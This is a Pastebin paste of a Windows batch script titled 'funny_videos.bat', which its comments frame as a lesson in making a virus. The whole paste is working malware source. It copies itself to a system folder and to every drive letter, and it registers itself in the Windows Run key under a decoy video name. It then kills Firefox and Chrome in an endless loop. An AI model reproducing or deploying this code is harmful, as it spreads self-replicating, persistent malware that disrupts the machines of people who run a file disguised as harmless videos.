Advertisement
Guest User

funny_videos.bat

a guest
Feb 20th, 2017
839
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 0.64 KB | None | 0 0
  1. @shift /0
  2. @echo off
  3. ::This file will teach how to make a virus?
  4.  
  5. ::Working Folder %WinDir#\Rundlli
  6.  
  7. :01
  8.  
  9. ::wait five seconds
  10. ping localhost -n 5 > nul
  11.  
  12. ::Create an folder for virus source
  13. md %systemdrive%\my_vid
  14.  
  15. ::Copy himself to source folder
  16. copy /y %0 %systemdrive%\my_vid
  17.  
  18. ::Copy himself to all drives
  19. for %%p in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy "%0" %%p:
  20.  
  21. ::Add on Windows Startup Registry
  22. REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v funny_v /t REG_SZ /d %systemdrive%\my_vid\funny_videos.exe /f
  23.  
  24. ::What virus do?
  25. taskkill /f /im firefox.exe
  26. taskkill /f /im chrome.exe
  27. goto 01
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement